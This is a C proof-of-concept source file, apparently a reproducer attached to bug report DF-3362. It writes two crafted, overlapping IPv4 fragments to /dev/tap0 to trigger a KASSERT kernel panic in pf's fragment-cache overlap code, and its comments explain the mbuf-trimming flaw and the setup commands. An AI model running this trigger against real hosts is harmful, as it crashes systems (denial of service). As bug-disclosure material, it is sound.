DF-3362 / fragcache_kassert.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 | /* * DF-3362 trigger — pf_fragcache() INVARIANTS KASSERT panics on * multi-mbuf fragments in the overlap-chop path (sys/net/pf/pf_norm.c). * * Mechanism: * pf_fragcache() precut>0 path (:653-690) does * *m0 = m_dup(m, M_NOWAIT); (dup of a MULTI-MBUF chain) * m_adj(*m0, (h->ip_hl << 2) - (*m0)->m_pkthdr.len); (negative) * ... * KASSERT((*m0)->m_next == NULL); (pf_norm.c:667) * * m_adj(mp, negative) tail-trims by zeroing the length of trailing * mbufs (uipc_mbuf.c:m_adj "toss data from remaining mbufs on * chain: while ((m = m->m_next) != NULL) m->m_len = 0;") -- it does * NOT unlink them. If the duplicated fragment chain has >= 2 mbufs, * *m0->m_next != NULL after the trim -> KASSERT panics on any * INVARIANTS kernel. (Had the first KASSERT been absent, the second * at :684 -- (int)m->m_len == ntohs(h->ip_len) - precut -- fires * instead, because the head mbuf alone cannot carry the whole * trimmed packet.) * * Fragment chains with >= 2 mbufs are the normal output of * tapwrite() (sys/net/tap/if_tap.c: MGETHDR head + MGET chain, no * clusters), and of various tunnel/virtual interface input paths. * * Injection: raw Ethernet frames written to /dev/tap0 (root), which * emulates a remote attacker on that segment. * * Setup needed (root): * kldload pf * ifconfig tap0 up * pfctl -f /root/poc/fragcrop.conf (scrub in on tap0 all fragment crop) * pfctl -e * * Sends: * frame1: MF frag off=0 ip payload 8000 -> cache range [0,8000) * frame2: MF frag off=496 ip payload 8000 -> overlaps frame1, * precut = 8000-496 = 7504 < 8000 -> chop path -> m_dup of a * ~35-mbuf chain -> KASSERT panic. */ #include <sys/types.h> #include <sys/socket.h> #include <sys/uio.h> #include <netinet/in.h> #include <netinet/ip.h> #include <arpa/inet.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> static unsigned short cksum(unsigned short *p, int n) { unsigned long s = 0; while (n > 1) { s += *p++; n -= 2; } if (n) s += *(unsigned char *)p; s = (s >> 16) + (s & 0xffff); s += (s >> 16); return (unsigned short)(~s); } /* write one ethernet frame: eth header + fragmented IPv4/UDP packet */ static void send_frame(int fd, int off8, int mf, int paylen) { static unsigned char frame[14 + 20 + 65535]; struct ip *ip = (struct ip *)(frame + 14); int total = 20 + paylen; ssize_t n; memset(frame, 0, sizeof(frame)); /* dst broadcast, src arbitrary, ethertype IPv4 */ memset(frame, 0xff, 6); frame[6] = 0x02; frame[7] = 0x00; frame[8] = 0x00; frame[9] = 0x00; frame[10] = 0x00; frame[11] = 0x01; frame[12] = 0x08; frame[13] = 0x00; ip->ip_v = IPVERSION; ip->ip_hl = 5; ip->ip_tos = 0; ip->ip_len = htons(total); ip->ip_id = 0x4142; ip->ip_off = htons((off8 & 0x1fff) | (mf ? IP_MF : 0)); ip->ip_ttl = 64; ip->ip_p = IPPROTO_UDP; ip->ip_sum = 0; ip->ip_src.s_addr = inet_addr("10.66.0.1"); /* "remote" attacker */ ip->ip_dst.s_addr = inet_addr("10.66.0.2"); ip->ip_sum = cksum((unsigned short *)ip, 20); n = write(fd, frame, 14 + total); if (n < 0) fprintf(stderr, "write(off8=%d,len=%d): %s\n", off8, paylen, strerror(errno)); else printf("wrote frag off=%d len=%d mf=%d (%zd bytes)\n", off8 << 3, paylen, mf, n); } int main(void) { int fd; fd = open("/dev/tap0", O_WRONLY); if (fd < 0) { perror("open /dev/tap0"); exit(1); } /* 1: cache range [0,8000): MF, off 0, payload 8000 (8-aligned) */ send_frame(fd, 0, 1, 8000); usleep(200000); /* 2: overlapping fragment [496, 8496): precut = 7504 < 8000 */ send_frame(fd, 62, 1, 8000); printf("done\n"); return (0); } |